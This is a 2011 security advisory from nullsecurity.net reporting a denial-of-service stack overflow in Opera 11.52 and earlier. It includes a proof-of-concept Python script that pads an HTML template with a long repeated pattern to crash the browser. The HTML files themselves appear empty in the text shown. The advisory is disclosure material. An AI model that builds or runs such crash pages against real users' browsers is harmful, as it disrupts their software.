=============================================================================== | | ____ _ __ ___ __ __/ / /__ ___ ______ ______(_) /___ __ / _ \/ // / / (_- -_) __/ // / __/ / __/ // / /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / /___/ team PUBLIC SECURITY ADVISORY | | =============================================================================== TITLE ===== The second Opera Denial of Service PoC (Stack Overflow) AUTHOR ====== pigtail23 DATE ==== 10-20-2011 VENDOR ====== Opera - http://www.opera.com/ AFFECTED PRODUCT ================ Opera <= 11.52 AFFECTED PLATFORMS ================== Windows XP, Vista, 7 VULNERABILITY CLASS =================== Denial of Service DESCRIPTION =========== It's a stack overflow. So you can't overwrite any EIP or SEH. It seems that Opera have some Problems with replace recursion. PROOF OF CONCEPT ================ poc2.html: --- SNIP ---
--- SNIP --- Python script for debugging: --- SNIP ---- #!/usr/bin/python filename = 'poc2.html' content = open('template2.html', 'r').read() buff = '\.]+' * 5000 rc = 300 content2 = content[:rc] + buff + content[rc:] FILE = open(filename,"w") FILE.write(content2) FILE.close() --- SNIP --- template2.html: --- SNIP --- --- SNIP --- IMPACT ====== You can only provoke a crash of the Opera process. THREAT LEVEL ============ Low STATUS ====== Not fixed. DISCLAIMER ========== nullsecurity.net hereby emphasize, that the information which is published here are for education purposes only. nullsecurity.net does not take any responsibility for any abuse or misusage! Copyright (c) 2011 - nullsecurity.net